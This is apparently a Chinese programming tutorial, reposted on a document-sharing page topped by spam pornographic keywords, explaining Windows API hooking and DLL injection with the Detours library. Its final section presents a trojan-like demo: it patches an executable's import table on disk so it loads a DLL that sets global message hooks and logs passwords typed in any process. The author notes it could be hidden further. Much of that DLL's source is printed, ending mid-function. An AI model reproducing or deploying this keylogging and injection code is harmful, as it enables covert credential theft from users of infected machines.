乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      用Detours實(shí)現(xiàn)APIHOOK

       herowuking 2015-05-24
      用Detours實(shí)現(xiàn)APIHOOK
      Detours是一個(gè)軟件開發(fā)庫,它用于實(shí)現(xiàn)攔截Win32二進(jìn)制代碼中的API函數(shù)。
      它使用一個(gè)Jmp指令替換了目標(biāo)函數(shù)的前面幾個(gè)字節(jié),使得控制直接調(diào)用實(shí)現(xiàn)的
      Detours函數(shù)。并通過一個(gè)trampoline函數(shù)保留了原來函數(shù)的功能調(diào)用。
      我們知道,實(shí)現(xiàn)APIHOOK主要有兩個(gè)重要環(huán)節(jié),一是如何把代碼注入到目標(biāo)地
      址空間,二是如何讓自己的代碼被調(diào)用。
      為了讓自己的代碼注入到應(yīng)用程序的目標(biāo)地址空間,首先需要把代碼封裝到一個(gè)
      動(dòng)態(tài)鏈接庫中,然后執(zhí)行下面的步驟之一:
      (1)把應(yīng)用程序和動(dòng)態(tài)鏈接庫連接起來,這需要用戶具有程序的目標(biāo)文件(.obj)。
      (2)從磁盤文件上修改應(yīng)用程序的導(dǎo)入表,使得應(yīng)用程序啟動(dòng)時(shí)強(qiáng)制加載其從來
      不會(huì)使用的動(dòng)態(tài)鏈接庫。這種方法對(duì)于用戶自己編碼來說,可能是非常困難的一件事
      情,好在Detours提供了一組函數(shù),能夠達(dá)到這個(gè)目的,能夠強(qiáng)制一個(gè)可執(zhí)行文件強(qiáng)
      制加載一個(gè)動(dòng)態(tài)鏈接庫,而且一旦完成修改,以后再也不需要引導(dǎo)程序。
      (3)調(diào)用OpenProcess、VirtualAllocEx、WriteProcessMemory和CreateRemoteThread。
      (4)使用Detours攔截CreateProcess()函數(shù),使用CREATE_SUSPENDED標(biāo)志調(diào)用
      原trampoline函數(shù),在進(jìn)程創(chuàng)建時(shí)實(shí)現(xiàn)DLL到目標(biāo)進(jìn)程的注入。
      目標(biāo)二進(jìn)制文件經(jīng)過Detours攔截,進(jìn)程或者進(jìn)程模塊在內(nèi)存中的映像將發(fā)生變
      化。如圖6-2所示。
       

      Detours使用了一個(gè)跳轉(zhuǎn)到Detours函數(shù)的跳轉(zhuǎn)指令替換了目標(biāo)的函數(shù)入口指令,
      并在實(shí)現(xiàn)的Trampoline函數(shù)中插入了被替換的指令,Trampolines函數(shù)既可以動(dòng)態(tài)分配
      和初始化,也可以靜態(tài)方式實(shí)現(xiàn)。實(shí)現(xiàn)和調(diào)用前后的比較如圖6-3、圖6-4所示。
       
       
      例6-3Detours函數(shù)的例子。
      #include<windows.h>
      #include<detours.h>
      LONGslept=0;
      _declspec(dllexport)DETOUR_TRAMPOLINE(VOIDWINAPIUntimedSleep
      (DWORD),Sleep);
      _declspec(dllexport)VOIDWINAPITimedSleep(DWORDdwMilliseconds)
      {
      DWORDbegin=GetTickCount();
      UntimedSleep(dwMilliseconds);
      InterlockedExchangeAdd(&slept,GetTickCount()–begin);
      }
      _declspec(dllexport)DWORDWINAPIGetSleptTicks()
      {
      returnslept;
      }
      BOOLWINAPIDllMain(HINSTANCEhinst,DWORDreason,LPVOIDreserved)
      {
      if(reason==DLL_PROCESS_ATTACH)
      DetourFunctionWithTrampoline(UntimedSleep,TimedSleep);
      if(reason==DLL_PROCESS_DETACH)
      DetourRemoveTrampoline(UntimedSleep);
      }
      注意:
      在下面的場合不能使用Detours:
      ●不知道目標(biāo)代碼入口地址。
      ●目標(biāo)代碼少于5個(gè)字節(jié),即小于一個(gè)Jmp調(diào)轉(zhuǎn)指令的字長。
      ●目標(biāo)代碼的前幾個(gè)字節(jié)包含了分支指令的目標(biāo)。
      Target:
      ;;;code
      JNETarget+2
      ●不使用x86處理器(不支持alpha處理器和ia64)。
      ●對(duì)于.NETCLR(MSIL)代碼也不支持。
      另外Detours還支持對(duì)成員函數(shù)的攔截,比如對(duì)GDI+函數(shù)的攔截。GDI+是采用
      面向?qū)ο蠡贑++平臺(tái)開發(fā)的一個(gè)動(dòng)態(tài)鏈接庫。Detours在其提供的PowerPoint幻燈
      片文檔中提供了攔截類成員函數(shù)的代碼框架。如圖6-5所示。
       
      Detours對(duì)COM接口方法的攔截類似于類成員函數(shù)。下面是其文檔給出的實(shí)現(xiàn)代
      碼,不過這個(gè)代碼是針對(duì)C實(shí)現(xiàn)的。
      HRESULTSTDCALL(*pfSeekTrampoline)(
      IStream*This,
      LARGE_INTEGERdlibMove,
      DWORDdwOrigin,
      ULARGE_INTEGER*plibNewPos);
      HRESULTSTDCALLSeekDetour(
      IStream*This,
      LARGE_INTEGERdlibMove,
      DWORDdwOrigin,
      ULARGE_INTEGER*plibNewPos)
      {
      returnpfSeekTrampoline(This,dlibMove,dwOrgin,plibNewPos);
      }
      voiddetour_member_function(IStream*pi)
      {
      (*(PBYTE*)pfSeekTrampoline)=DetourFunction(
      (PBYTE)pi->lpVtbl->Seek,
      (PBYTE)SeekDetour);
      };
      用戶編譯這些例子的時(shí)候,可能會(huì)遇到問題,主要表現(xiàn)在類型指針轉(zhuǎn)換上。為了
      實(shí)現(xiàn)轉(zhuǎn)換,用戶可以使用嵌入?yún)R編語言,實(shí)現(xiàn)強(qiáng)制類型轉(zhuǎn)換。
      下面給出Detours提供的函數(shù)列表:
      ●靜態(tài)Trampolines實(shí)現(xiàn)
      DETOUR_TRAMPOLINE創(chuàng)建一個(gè)已知trampoline目標(biāo)。
      DETOUR_TRAMPOLINE_EMPTY創(chuàng)建一個(gè)空的trampoline目標(biāo)。
      ●Detour函數(shù)
      DetourFunction分配一個(gè)trampoline,實(shí)現(xiàn)Detour函數(shù)掛接。
      DetourFunctionWithTrampoline(Ex)使用trampoline實(shí)現(xiàn)函數(shù)Detours。
      DetourFunctionWithEmptyTrampoline(Ex)Detour函數(shù)并設(shè)置trampoline。
      DetourRemove去除detour。
      ●Code函數(shù)
      DetourFindFunction在輸出或者符號(hào)表中查找函數(shù)。
      DetourGetFinalCode忽略間接跳轉(zhuǎn)語句。
      DetourCopyInstruction(Ex)反匯編指令。
      ●PE映像或者模塊枚舉函數(shù)
      DetourEnumerateModules查找加載到進(jìn)程中的所有PE映像。
      DetourGetEntryPoint查找一個(gè)映像的入口地址。
      DetourEnumerateExportsForModule查找一個(gè)映像的所有輸出信息。
      ●Payload函數(shù)(payload是Detours在攔截模塊中添加的一個(gè)節(jié))
      DetourFindPayload查找一個(gè)指定的payload。
      DetourGetSizeOfPayloads得到映像中所有payloads的字節(jié)大小。
      ●DLLInjectionFunctions
      DetourCreateProcessWithDll創(chuàng)建一個(gè)新的進(jìn)程并注入一個(gè)動(dòng)態(tài)鏈接庫。
      DetourContinueProcessWithDll把一個(gè)動(dòng)態(tài)鏈接庫注入到一個(gè)新的進(jìn)程中。
      ●異常處理函數(shù)
      DetourFirstChanceExceptionFilter對(duì)Win32異常過濾進(jìn)行Detours攔截。
      ●永久二進(jìn)制操縱函數(shù)
      DetourBinaryOpen打開一個(gè)PE二進(jìn)制文件。
      DetourBinaryEnumeratePayloads枚舉二進(jìn)制文件中的payloads。
      DetourBinaryFindPayload查找指定的payload。
      DetourBinarySetPayload設(shè)置或者替換一個(gè)指定的payload。
      DetourBinaryDeletePayload刪除一個(gè)指定的payload。
      DetourBinaryPurgePayloads刪除二進(jìn)制中的所有payloads。
      DetourBinaryEditImportsModifythePEbinaryimporttable。
      DetourBinaryResetImports復(fù)位PE二進(jìn)制導(dǎo)入地址表。
      DetourBinaryWrite把PE映像寫入到一個(gè)文件中。
      DetourBinaryClose關(guān)閉PE二進(jìn)制映像。
      DetourBinaryBind使用BindImage綁定二進(jìn)制映像。
      通過上面的函數(shù)列表,我們足以了解這個(gè)開發(fā)包強(qiáng)大的功能,因?yàn)楹芏喙δ茉谇?br> 面的章節(jié)中都是通過大量代碼才能實(shí)現(xiàn)的,而這里只需要調(diào)用一個(gè)函數(shù)就可以了。
      注意:
      (1)所有的Detours函數(shù)都可以運(yùn)行在基于x86平臺(tái)、WindowsNT內(nèi)核操作系統(tǒng)
      上,包括最新的Windows2003以及未來的Longhorn。Windows9x內(nèi)核的系統(tǒng)不支持
      使用DetourFunction系列函數(shù)。除非這個(gè)程序是在一個(gè)調(diào)試器下運(yùn)行的,即(采用
      DEBUG_PROCESS標(biāo)志調(diào)用CreateProcess*函數(shù))。這是因?yàn)榛赪indowsNT內(nèi)核的
      系統(tǒng)都總是把DLL采用copy-on-write方式把動(dòng)態(tài)鏈接庫映射到目標(biāo)進(jìn)程中。而
      Windows9x只有在采用DEBUG_PROCESS標(biāo)志調(diào)用CreateProcess*函數(shù)的情況下采用
      這種方式。
      (2)DLL注入的方法不能在Windows9x下使用,因?yàn)檫@里是使用CreateRemoteThread
      實(shí)現(xiàn)的,Windows9x不支持這個(gè)函數(shù)調(diào)用。
      (3)用于添加payloads和修改導(dǎo)入地址表的二進(jìn)制復(fù)寫函數(shù),可以運(yùn)行在所有平
      臺(tái)上,包括Windows95。
      (4)在實(shí)現(xiàn)一個(gè)Detours函數(shù)時(shí),必須保證它和目標(biāo)替換函數(shù)在調(diào)用規(guī)范上完全一致。
      (5)當(dāng)把一個(gè)動(dòng)態(tài)鏈接庫使用DetoursDLL導(dǎo)入API函數(shù),把它和一個(gè)二進(jìn)制文
      件綁定時(shí),動(dòng)態(tài)鏈接庫必須輸出一個(gè)函數(shù),其輸出序號(hào)為1。輸出的過程并不被應(yīng)用
      程序調(diào)用而只是用作導(dǎo)入目標(biāo)。
      下面給出一個(gè)使用Detours的例子,這是在開發(fā)防火墻軟件中使用的一段代碼。
      我們知道,開發(fā)的應(yīng)用軟件最好能夠同時(shí)支持兩種分辨率,比如800×600和
      1024×768,因?yàn)檫@是用戶最常用的兩種屏幕分辨率。然而編碼中會(huì)發(fā)現(xiàn)在VisualC++
      中同時(shí)兼顧兩種分辨率時(shí),如果通過響應(yīng)WM_RESIZE非常麻煩。由于應(yīng)用程序大
      部分的界面都是基于對(duì)話框?qū)崿F(xiàn)的,特別是那些嵌入窗體的對(duì)話框,實(shí)現(xiàn)代碼定位,
      實(shí)在繁瑣得要命。于是在程序中設(shè)計(jì)了兩種對(duì)話框,分別對(duì)應(yīng)兩種分辨率,在程序
      啟動(dòng)時(shí)動(dòng)態(tài)檢測屏幕分辨率,通過攔截DialogBoxParam函數(shù)動(dòng)態(tài)替換對(duì)話框資源來
      實(shí)現(xiàn)。
      例6-4Detours應(yīng)用舉例。
      #include<detours.h>
      #pragmacomment(lib,"detours.lib")
      BOOLg_bAbsolution800x600=TRUE;
      typedefstructtagDLG{
      intnDlgIDSmall;
      intnDlgIDBig;
      }DLG,*PDLG;
      DLGg_dlg[]={
      {IDD_MONITORPACKETDLG,IDD_MONITORPACKETDLG_BIG},
      {IDD_NETSTATDLG,IDD_NETSTATDLG_BIG},
      {IDD_DEFAULT_PORT_RULE,IDD_DEFAULT_PORT_RULE_BIG},

      {IDD_OTHER,IDD_OTHER_BIG}
      };
      DETOUR_TRAMPOLINE(HWNDWINAPI
      Real_CreateDialogParamA(HINSTANCEhInstance,
      LPSTRlpTemplateName,
      HWNDhWndParent,
      DLGPROClpDialogFunc,
      LPARAMdwInitParam),
      CreateDialogParamA);
      DETOUR_TRAMPOLINE(HWNDWINAPI
      Real_CreateDialogParamW(HINSTANCEhInstance,
      LPWSTRlpTemplateName,
      HWNDhWndParent,
      DLGPROClpDialogFunc,
      LPARAMdwInitParam),
      CreateDialogParamW);
      HWNDWINAPIDetour_CreateDialogParamW(HINSTANCEhInstance,
      LPWSTRlpTemplateName,
      HWNDhWndParent,
      DLGPROClpDialogFunc,
      LPARAMdwInitParam)
      {
      try{
      if(!g_bAbsolution800x600){
      for(inti=0;i<sizeofg_dlg/sizeofDLG;i++){
      if((int)lpTemplateName==g_dlg[i].nDlgIDSmall){
      returnReal_CreateDialogParamW(hInstance,
      MAKEINTRESOURCEW(g_dlg[i].nDlgIDBig),
      hWndParent,lpDialogFunc,dwInitParam);
      }
      }
      }
      returnReal_CreateDialogParamW(hInstance,
      lpTemplateName,hWndParent,lpDialogFunc,dwInitParam);
      }
      catch(...){
      returnReal_CreateDialogParamW(hInstance,
      lpTemplateName,hWndParent,lpDialogFunc,dwInitParam);
      }
      }
      HWNDWINAPIDetour_CreateDialogParamA(HINSTANCEhInstance,
      LPSTRlpTemplateName,HWNDhWndParent,DLGPROClpDialogFunc,LPARAM
      dwInitParam)
      {
      try{
      if(!g_bAbsolution800x600){
      for(inti=0;i<sizeofg_dlg/sizeofDLG;i++){
      if((int)lpTemplateName==g_dlg[i].nDlgIDSmall){
      returnReal_CreateDialogParamA(hInstance,
      MAKEINTRESOURCE(g_dlg[i].nDlgIDBig),hWndParent,
      lpDialogFunc,dwInitParam);
      }
      }
      }
      returnReal_CreateDialogParamA(hInstance,
      lpTemplateName,hWndParent,lpDialogFunc,dwInitParam);
      }
      catch(...){
      return
      Real_CreateDialogParamA(hInstance,lpTemplateName,hWndParent,
      lpDialogFunc,dwInitParam);
      }
      }
      在程序入口:
      intnWidth=GetSystemMetrics(SM_CXSCREEN);
      if(nWidth==1024){
      g_bAbsolution800x600=FALSE;
      }
      DetourFunctionWithTrampoline((PBYTE)Real_CreateDialogParamA,
      (PBYTE)Detour_CreateDialogParamA);
      DetourFunctionWithTrampoline((PBYTE)Real_CreateDialogParamW,
      (PBYTE)Detour_CreateDialogParamW);
      程序結(jié)束前:
      DetourRemove((PBYTE)Real_CreateDialogParamW,
      (PBYTE)Detour_CreateDialogParamW);
      DetourRemove((PBYTE)Real_CreateDialogParamA,
      (PBYTE)Detour_CreateDialogParamA);
      從上面的程序可以看出,Trampolines函數(shù)既可以靜態(tài)創(chuàng)建也可以動(dòng)態(tài)創(chuàng)建。使用
      靜態(tài)的Trampolines函數(shù)攔截Target函數(shù)時(shí),應(yīng)用程序需要使用DETOUR-
      _TRAMPOLINE宏創(chuàng)建Trampolines函數(shù)。DETOUR_TRAMPOLINE宏帶有兩個(gè)參數(shù),
      靜態(tài)的Trampolines函數(shù)原型和Target函數(shù)名。
      值得注意的是:Target函數(shù)攔截時(shí),Target、Trampoline、Detour函數(shù)必須遵循完
      全一致的參數(shù)約定,即出口和入口參數(shù)在個(gè)數(shù)和對(duì)應(yīng)類型上要求完全匹配。Detour函
      數(shù)可以根據(jù)需要把它的入口參數(shù)傳遞到Trampoline函數(shù),以此調(diào)用Target函數(shù)。遵循
      相同的調(diào)用約定,可以保證有關(guān)的寄存器能夠被正確保存,Detour和Target函數(shù)的堆
      棧能夠保持平衡。
      Target函數(shù)的攔截可以通過DetourFunctionWithTrampoline函數(shù)實(shí)現(xiàn),這個(gè)函數(shù)有
      兩個(gè)參數(shù),Trampoline和一個(gè)指向Detour函數(shù)的指針。目標(biāo)函數(shù)Target之所以沒有作
      為一個(gè)參數(shù),是因?yàn)樗呀?jīng)編碼到Trampoline函數(shù)之中。
      動(dòng)態(tài)的Trampoline可以通過調(diào)用DetourFunction函數(shù)實(shí)現(xiàn)。這個(gè)函數(shù)有兩個(gè)參數(shù),
      分別是兩個(gè)指向Target和Detour函數(shù)的指針,DetourFunction可以分配一個(gè)新的
      Trampoline函數(shù)指針變量,然后在Target函數(shù)中插入適當(dāng)?shù)臄r截代碼。
      當(dāng)Target函數(shù)可以作為一個(gè)連接符號(hào)時(shí),靜態(tài)Trampoline函數(shù)使用非常容易。然
      而當(dāng)Target函數(shù)不能作為一個(gè)連接符號(hào)時(shí),用戶可以使用一個(gè)動(dòng)態(tài)的Trampoline函數(shù)。
      通常情況下,可以通過另外的輔助函數(shù)獲得指向Target函數(shù)的指針。當(dāng)指向Target函數(shù)
      的指針不易得到時(shí),用戶可以使用DetourFindFunction獲得該指針。無論這些函數(shù)來
      自一個(gè)已知的dll庫,或者是Target函數(shù)二進(jìn)制代碼的調(diào)試符號(hào)。DetourFindFunction函
      數(shù)接收兩個(gè)參數(shù),二進(jìn)制win32文件名和函數(shù)名。如果函數(shù)執(zhí)行后找到了Target的符
      號(hào),它就會(huì)返回一個(gè)有效的函數(shù)指針,否則返回NULL。DetourFindFunction首先嘗
      試?yán)肔oadLibrary和GetProcAddressWin32函數(shù)定位函數(shù),如果在DLL的函數(shù)輸出
      表中找不到Target,DetourFindFunction就會(huì)使用ImageHlp庫查找可用的調(diào)試符號(hào)信
      息。返回的函數(shù)指針可以作為一個(gè)參數(shù)傳遞到DetourFunction函數(shù),用以創(chuàng)建一個(gè)動(dòng)
      態(tài)的Trampoline函數(shù)。
      攔截的Target函數(shù)可以通過調(diào)用DetourRemoveTrampoline函數(shù)恢復(fù)到攔截前的狀態(tài)。
      值得注意的是,由于Detours庫函數(shù)修改代碼是在進(jìn)程地址空間進(jìn)行的,程序員
      必須在Detour插入和移去時(shí)沒有別的線程在運(yùn)行。顯然保證單線程運(yùn)行最簡單的辦法
      是在DLL的DllMain例程中調(diào)用Detours庫函數(shù)。
      動(dòng)態(tài)鏈接庫注入到一個(gè)存在進(jìn)程可以通過下列代碼實(shí)現(xiàn)。
      HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,nProcessId);
      //nProcessId運(yùn)行進(jìn)程的進(jìn)程標(biāo)識(shí)
      if(hProcess==NULL){
      printf("OpenProcess(%d)failed:%d\n",nProcessId,GetLastError());
      return2;
      }//下面的szDllPath為指定的dll文件路徑.
      if(!DetourContinueProcessWithDllA(hProcess,szDllPath)){
      printf("DetourContinueProcessWithDll(%s)failed:%d",szDllPath,
      GetLastError());
      return3;
      }
      動(dòng)態(tài)鏈接庫注入到一個(gè)新進(jìn)程可以通過下列代碼實(shí)現(xiàn)。
      STARTUPINFOsi;
      PROCESS_INFORMATIONpi;
      CHARszCommand[2048];
      PCHARpszDLlPath=NULL;
      CHARszExe[1024];
      Strcpy(szExe,”…..”);//可執(zhí)行文件名
      Strcpy(szCommand,”…..”);//命令行
      Strcpy(pszDllPath,”…”);//動(dòng)態(tài)連接庫文件名字
      ZeroMemory(&si,sizeof(si));
      ZeroMemory(&pi,sizeof(pi));
      si.cb=sizeof(si);
      DWORDdwCreationFlags=(CREATE_DEFAULT_ERROR_MODE);
      if(!DetourCreateProcessWithDll(szFullExe,szCommand,NULL,NULL,TRUE,
      dwCreationFlags,NULL,NULL,
      & si,&pi,pszDllPath,NULL)){
      printf("DetourCreateProcessWithDllfailed:%d\n",GetLastError());
      ExitProcess(2);
      }
      有關(guān)Detours修改二進(jìn)制映像的例子,用戶可以參考開發(fā)包提供的例子程序setdll。
      下面給出這個(gè)文件的關(guān)鍵函數(shù),這個(gè)函數(shù)實(shí)現(xiàn)了DLL文件的磁盤注入。
      BOOLSetFile(PCHARpszPath)
      {
      BOOLbGood=TRUE;
      HANDLEhOld=INVALID_HANDLE_VALUE;
      HANDLEhNew=INVALID_HANDLE_VALUE;
      PDETOUR_BINARYpBinary=NULL;
      CHARszOrg[MAX_PATH];
      CHARszNew[MAX_PATH];
      CHARszOld[MAX_PATH];
      szOld[0]='\0';
      szNew[0]='\0';
      strcpy(szOrg,pszPath);
      strcpy(szNew,szOrg);
      strcat(szNew,"#");
      strcpy(szOld,szOrg);
      strcat(szOld,"~");
      printf("%s:\n",pszPath);
      hOld=CreateFile(szOrg,GENERIC_READ,FILE_SHARE_READ,NULL,
      OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
      if(hOld==INVALID_HANDLE_VALUE){
      printf("Couldn'topeninputfile:%s,error:%d\n",szOrg,
      GetLastError());
      bGood=FALSE;
      gotoend;
      }
      hNew=CreateFile(szNew,GENERIC_WRITE|GENERIC_READ,0,NULL,
      CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL|FILE_FLAG_SEQUENTIAL_SCAN,
      NULL);
      if(hNew==INVALID_HANDLE_VALUE){
      printf("Couldn'topenoutputfile:%s,error:%d\n",szNew,
      GetLastError());
      bGood=FALSE;
      gotoend;
      }
      if((pBinary=DetourBinaryOpen(hOld))==NULL){
      printf("DetourBinaryOpenfailed:%d\n",GetLastError());
      gotoend;
      }
      if(hOld!=INVALID_HANDLE_VALUE){
      CloseHandle(hOld);
      hOld=INVALID_HANDLE_VALUE;
      }
      {
      BOOLbAddedDll=FALSE;
      DetourBinaryResetImports(pBinary);
      if(!s_fRemove){
      if(!DetourBinaryEditImports(pBinary,&bAddedDll,AddBywayCallback,
      NULL,NULL,NULL)){
      printf("DetourBinaryEditImportsfailed:%d\n",GetLastError());
      }
      }
      if(!DetourBinaryEditImports(pBinary,NULL,ListBywayCallback,
      ListFileCallback,
      NULL,NULL)){
      printf("DetourBinaryEditImportsfailed:%d\n",GetLastError());
      }
      if(!DetourBinaryWrite(pBinary,hNew)){
      printf("DetourBinaryWritefailed:%d\n",GetLastError());
      bGood=FALSE;
      }
      DetourBinaryClose(pBinary);
      pBinary=NULL;
      if(hNew!=INVALID_HANDLE_VALUE){
      CloseHandle(hNew);
      hNew=INVALID_HANDLE_VALUE;
      }
      if(bGood){
      if(!DetourBinaryBind(szNew,".",".")){
      printf("Warning:Couldn'tbindtotracedll:%d\n",GetLastError());
      }
      if(!DeleteFile(szOld)){
      DWORDdwError=GetLastError();
      if(dwError!=ERROR_FILE_NOT_FOUND){
      printf("Warning:Couldn'tdelete%s:%d\n",szOld,dwError);
      bGood=FALSE;
      }
      }
      if(!MoveFile(szOrg,szOld)){
      printf("Error:Couldn'tbackup%sto%s:%d\n",szOrg,szOld,
      GetLastError());
      bGood=FALSE;
      }
      if(!MoveFile(szNew,szOrg)){
      printf("Error:Couldn'tinstall%sas%s:%d\n",szNew,szOrg,
      GetLastError());
      bGood=FALSE;
      }
      }
      DeleteFile(szNew);
      }
      end:
      if(pBinary){
      DetourBinaryClose(pBinary);
      pBinary=NULL;
      }
      if(hNew!=INVALID_HANDLE_VALUE){
      CloseHandle(hNew);
      hNew=INVALID_HANDLE_VALUE;
      }
      if(hOld!=INVALID_HANDLE_VALUE){
      CloseHandle(hOld);
      hOld=INVALID_HANDLE_VALUE;
      }
      returnbGood;
      }
      面的這個(gè)例子就是基于上面的代碼實(shí)現(xiàn)的。例子中PasswordDemo.exe是一個(gè)普
      通的Windows應(yīng)用程序,它需要驗(yàn)證用戶輸入的密碼。iNetPub類似于一個(gè)木馬程序,
      這個(gè)程序是一個(gè)動(dòng)態(tài)鏈接庫,這個(gè)程序?qū)崿F(xiàn)了一個(gè)消息鉤子,在動(dòng)態(tài)鏈接庫初始化的
      時(shí)候,自己安裝了鉤子函數(shù)。很明顯像PasswordDemo.exe這樣的Windows應(yīng)用程序
      是從來不會(huì)主動(dòng)調(diào)用這個(gè)動(dòng)態(tài)鏈接庫的,因?yàn)樗鼈冎g不存在任何血緣關(guān)系。盡管我
      們可以采用多種進(jìn)程間代碼注入的辦法,但是這種辦法都需要一個(gè)進(jìn)程,那么像
      RunDll32文件加載一樣,用戶很容易從開機(jī)自啟動(dòng)應(yīng)用程序列表中把它們摘除,這樣
      我們精心炮制的木馬程序,可能就會(huì)像僵尸一樣永遠(yuǎn)不能超生。
      我們需要做的工作是能夠像病毒一樣修改可執(zhí)行文件,讓可執(zhí)行文件自己加載提
      供的動(dòng)態(tài)鏈接庫。這里對(duì)可執(zhí)行文件和動(dòng)態(tài)鏈接庫沒有任何要求。動(dòng)態(tài)鏈接庫如果輸
      出鉤子函數(shù),其鉤子過程必須以輸出函數(shù)方式輸出。自動(dòng)加載必須在動(dòng)態(tài)鏈接庫初始
      化過程中完成。
      PasswordDemo.exe程序的運(yùn)行界面是這樣的,如圖6-6所示。
       
      這個(gè)程序依賴的動(dòng)態(tài)鏈接庫如圖6-7所示,由于這個(gè)程序和inetpub沒有任何關(guān)系,
      所以它的運(yùn)行不需要inetpub.Dll文件。
       
      下面我們運(yùn)行修改程序(程序運(yùn)行界面如圖6-8所示)對(duì)passworddemo文件進(jìn)行修
      改。當(dāng)我們單擊“啟動(dòng)”按鈕時(shí),passworddemo.exe所在的目錄會(huì)自動(dòng)生成一個(gè)
      passworddemo.exe文件的備份PasswordDemo.exe~。passworddemo.exe文件是修改過的
      文件,它的文件修改日期和大小將發(fā)生變化。這時(shí)它的運(yùn)行將依賴位于Windows系統(tǒng)
      目錄的inetpub.dll文件。即Passworddemo.exe文件運(yùn)行前會(huì)自動(dòng)加載inetpub.dll文件,
      這個(gè)文件一旦加載就會(huì)自動(dòng)安裝一個(gè)全局鉤子,對(duì)系統(tǒng)中的所有進(jìn)程進(jìn)行監(jiān)視,把用
      戶輸入的所有密碼文本保存到Windows目錄下的一個(gè)文件中。
       
      此時(shí)這個(gè)程序的運(yùn)行將離不開inetpub.Dll文件。如圖6-9所示。
       
      這個(gè)程序還有許多地方可以進(jìn)行完善,但是已經(jīng)有了一點(diǎn)木馬特征,而且它還可
      以做得更隱蔽一些。很明顯實(shí)現(xiàn)自動(dòng)化修改可執(zhí)行文件,也并不困難。
      例6-5Dll磁盤文件附加實(shí)現(xiàn)。
      #include"stdafx.h"
      #include<afxdllx.h>
      #ifdef_DEBUG
      #definenewDEBUG_NEW
      #undefTHIS_FILE
      staticcharTHIS_FILE[]=__FILE__;
      #endif
      #include"INetPub.h"
      #pragmadata_seg(".sdata")
      HHOOKhHookMsg=0;
      HHOOKhHookProc=0;
      HINSTANCEhinst=0;
      HWNDhHandleWnd=0;
      intnumbers=0;
      intSpyArrayNums=0;
      intrandv=0;
      CHook*phook=0;
      CDWordArraySpyWndList[20];
      #pragmadata_seg()
      staticAFX_EXTENSION_MODULEINetPubDLL={NULL,NULL};
      extern"C"_declspec(dllexport)LRESULTWINAPICallMsgProc(int
      nCode,WPARAMwParam,LPARAMlParam);
      extern"C"_declspec(dllexport)LRESULTWINAPICallWndProc(int
      nCode,WPARAMwParam,LPARAMlParam);
      BOOLWINAPIHookProc(HWNDhwnd,UINTuiMessage,WPARAMwParam,LPARAM
      lParam);
      extern"C"intAPIENTRY
      DllMain(HINSTANCEhInstance,DWORDdwReason,LPVOIDlpReserved)
      {
      //RemovethisifyouuselpReserved
      UNREFERENCED_PARAMETER(lpReserved);
      if(dwReason==DLL_PROCESS_ATTACH)
      {
      TRACE0("INetPub.DLLInitializing!\n");
      //ExtensionDLLone-timeinitialization
      if(!AfxInitExtensionModule(INetPubDLL,hInstance))return0;
      numbers++;
      if(numbers==1&&phook==0)
      {
      hinst=hInstance;
      randv=GetTickCount()/5000;
      phook=newCHook;
      phook->HookInstaller();
      }
      newCDynLinkLibrary(INetPubDLL);
      }
      elseif(dwReason==DLL_PROCESS_DETACH)
      {
      TRACE0("INetPub.DLLTerminating!\n");
      numbers--;
      if(numbers==0&&phook)
      {
      phook->HookUninstaller();
      deletephook;
      phook=0;
      }
      AfxTermExtensionModule(INetPubDLL);
      }
      return1;//ok
      }
      CHook::CHook()
      {
      }
      CHook::~CHook()
      {
      HookUninstaller();
      }
      BOOLCHook::HookInstaller()
      {
      if((hHookMsg=SetWindowsHookEx(WH_GETMESSAGE,
      CallMsgProc,hinst,0))!=NULL
      && (hHookProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hinst,0))
      !=NULL)returntrue;
      returnfalse;
      }
      BOOLCHook::HookUninstaller()
      {
      BOOLbUninstall;
      if(hHookMsg)
      {
      bUninstall=UnhookWindowsHookEx(hHookMsg);
      if(bUninstall)
      {
      hHookMsg=NULL;
      bUninstall=UnhookWindowsHookEx(hHookProc);
      if(bUninstall)
      {
      hHandleWnd=NULL;
      hHookProc=NULL;
      }
      }
      }
      returnbUninstall;
      }
      voidCHook::SetHandleWindow(HWNDhWnd)
      {
      hHandleWnd=hWnd;
      }
      extern"C"_declspec(dllexport)LRESULTWINAPICallMsgProc(int
      nCode,WPARAMwParam,LPARAMlParam)
      {
      PMSGpMsg=(MSG*)lParam;
      if(nCode>=0&&pMsg&&pMsg->hwnd)
      {
      HookProc(pMsg->hwnd,pMsg->message,pMsg->wParam,pMsg->lParam);
      }
      returnCallNextHookEx(hHookMsg,nCode,wParam,lParam);
      }
      extern"C"_declspec(dllexport)LRESULTWINAPICallWndProc(int
      nCode,WPARAMwParam,LPARAMlParam)
      {
      PCWPSTRUCTpCwps;
      pCwps=(PCWPSTRUCT)lParam;
      if(nCode>=0&&pCwps&&pCwps->hwnd)
      {
      HookProc(pCwps->hwnd,pCwps->message,pCwps->wParam,
      pCwps->lParam);
      }
      returnCallNextHookEx(hHookProc,nCode,wParam,lParam);
      }
      intWINAPIInSpyList(HWNDhwnd)
      {
      if(SpyArrayNums)
      {
      for(inti=0;i<SpyArrayNums;i++)
      {
      SpyWndList[i];
      if(intwndnum=SpyWndList[i].GetSize())
      {
      for(intj=0;j<wndnum;j++)
      if(SpyWndList[i].GetAt(j)==(DWORD)hwnd)returni;
      }
      }
      }
      return-1;
      }
      voidWINAPIAddToSpyList(HWNDhWnd)
      {
      HWNDhParent;
      CWordArrayaarray;
      if(hParent=GetParent(hWnd))
      {
      if(InSpyList(hParent)!=-1)return;
      SpyWndList[SpyArrayNums].Add((DWORD)hParent);
      }
      HWNDsib=::GetWindow(hWnd,GW_HWNDFIRST);
      charlpClassName[255];
      CStringstrWndClass;
      ::GetClassName(sib,lpClassName,255);
      strWndClass=lpClassName;
      //IsthisanEditcontrol
      if(0==strWndClass.CompareNoCase("EDIT"))
      SpyWndList[SpyArrayNums].Add((DWORD)sib);
      while((sib=::GetWindow(sib,GW_HWNDNEXT))!=NULL)
      {
      ::GetClassName(sib,lpClassName,255);
      strWndClass=lpClassName;
      //IsthisanEditcontrol
      if(strWndClass.Find("Edit")!=-1||strWndClass.Find("Text")!=-1)
      SpyWndList[SpyArrayNums].Add((DWORD)sib);
      }
